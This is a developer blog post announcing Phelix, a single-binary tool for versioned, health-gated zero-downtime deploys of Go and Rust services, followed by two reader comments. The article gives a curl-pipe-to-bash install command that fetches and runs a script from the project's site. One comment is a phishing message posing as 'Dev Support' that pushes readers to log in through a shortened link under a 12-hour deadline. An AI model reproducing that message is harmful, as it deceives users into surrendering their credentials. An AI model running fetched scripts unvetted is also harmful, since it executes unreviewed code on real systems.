Deploying a small fleet of services usually turns into a pile of glue: a build step, a process manager, a reverse proxy, a rollback plan, and something to watch it all. For three services, standing up Kubernetes is overkill — but "SSH in, pull, restart the process, and hope it comes back" isn't much of a plan either.
Phelix is the tool I built for that middle ground. It's a single binary you run on the host that compiles your Go or Rust app, records every build as a numbered version, and cuts traffic over to a new version only after it passes a health check — so a broken deploy never takes down the version that's already serving.
This post is a tour of how it works and the design decisions behind it.
The core idea: every build is a version, and health gates promotion
Most deploy pain comes from doing the risky thing in place: you stop the running process to start the new one, and if the new one doesn't come up, you have downtime while you scramble.
Phelix never does that. Each build is recorded as v1, v2, … on disk, and the new version is brought up next to the current one. Only after it passes its health check does the proxy promote it to current. If it never gets healthy, the old version keeps serving and nothing changed. Rollback, then, is just re-pointing at a version that's still sitting on disk.
A quick walk-through
Install (detects your OS/arch; no toolchain needed just to install):
curl -fsSL https://phelix.anophel.com/install.sh | bash
phelix version
From a Go or Rust project directory:
phelix init # creates phelix.yaml
phelix build myapp --port 8080 # auto-detects Go or Rust, builds v1, starts it
There's one rule: your app must read its port from the PORT environment variable instead of hardcoding one. That's what lets Phelix run two versions side by side during a cut-over. phelix doctor checks this for you.
Now ship a change with zero downtime:
phelix rebuild myapp --blue-green # or --replicas 3 for a rolling deploy
Phelix builds v2 alongside the running v1, waits for v2 to pass its health check, then flips the proxy to v2 atomically. If v2 never gets healthy, v1 keeps serving.
Want to be more careful? Send a slice of traffic first:
phelix rebuild myapp --canary 5 # 5% to the new version, verify, then promote
It compares the canary's health and metrics against the stable baseline and auto-rolls-back on a regression.
And when you need to undo:
phelix rollback myapp --to v7 --dry-run # preview first
phelix rollback myapp --to v7 # then for real
Rollback is effectively instant, because v7 never left disk.
Why it's fail-safe by construction
- A version is promoted to
currentonly after its health check passes — tiered as HTTP 2xx, any HTTP status, TCP connect, or PID liveness. - The proxy switches targets atomically, so in-flight connections aren't dropped.
- A failed candidate never touches the live instance.
- Environment variables are encrypted at rest (AES-256-GCM) and snapshotted together with the binary for each version. So a rollback restores the matching config, not just the code — which is exactly the bug that's bitten me elsewhere: rolling the binary back but keeping the new environment.
The rest of the toolbox
Beyond the core loop, Phelix also does Docker either way (generate optimized multi-stage images with dockerize, or run your app instances as containers under the same proxy), matrix builds across toolchain versions and platforms, Git webhook deploys that rebuild the exact pushed commit (HMAC-verified), and per-instance CPU/memory limits via cgroups v2 on Linux.
It's offline-first: build, run, deploy, and rollback all work with no account and no network. Logging in only adds an optional, per-app dashboard sync — nothing leaves your machine until you opt in.
Where it fits (and where it doesn't)
If you're already on Kubernetes, or you need multi-node scheduling, bin-packing, or a service mesh, use that — Phelix isn't trying to replace it. Phelix is for one host or a small fleet where you want the deploy safety (versioning, health-gated cut-over, instant rollback, config that rolls back with the code) without running a platform to get it. Its closest neighbors are Kamal (Docker-centric) and Nomad (a real scheduler); Phelix leans toward a single binary and works without Docker at all.
Current state
This is v1.0.0, built by one person. I run it for my own Go and Rust services, so treat it as "works for its author's real workloads" rather than battle-tested across many environments. Linux is the target; Windows support is experimental. The zero-downtime cut-over and rollback paths are what I'd most like other people to stress-test.
A note on licensing
Phelix is source-available, not classic (OSI) open source — worth being precise about. The CLI is under the Functional Source License 1.1 with an Apache-2.0 future grant (FSL-1.1-ALv2): you can use, study, modify, and redistribute it for anything except offering a competing hosted/dashboard service, and each released version converts to Apache 2.0 two years after its release. The dashboard backend is proprietary. I'd rather say that up front than have it be a surprise.
Try it
- Repo: https://github.com/abdorrahmani/phelix
- Docs: https://phelix.anophel.com/docs
- Demo / dashboard: https://phelix.anophel.com/?utm_source=devto&utm_medium=article&utm_campaign=launch_01&utm_content=devto_launch
If you deploy Go or Rust on your own boxes, I'd genuinely like to hear how you handle zero-downtime restarts today — systemd, a reverse-proxy swap, Kamal, something else — and whether per-version encrypted env snapshots match how you think about config rollback.
Top comments (2)
Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support
Awesome, I live in Iran, and I don't have a Visa card or PayPal.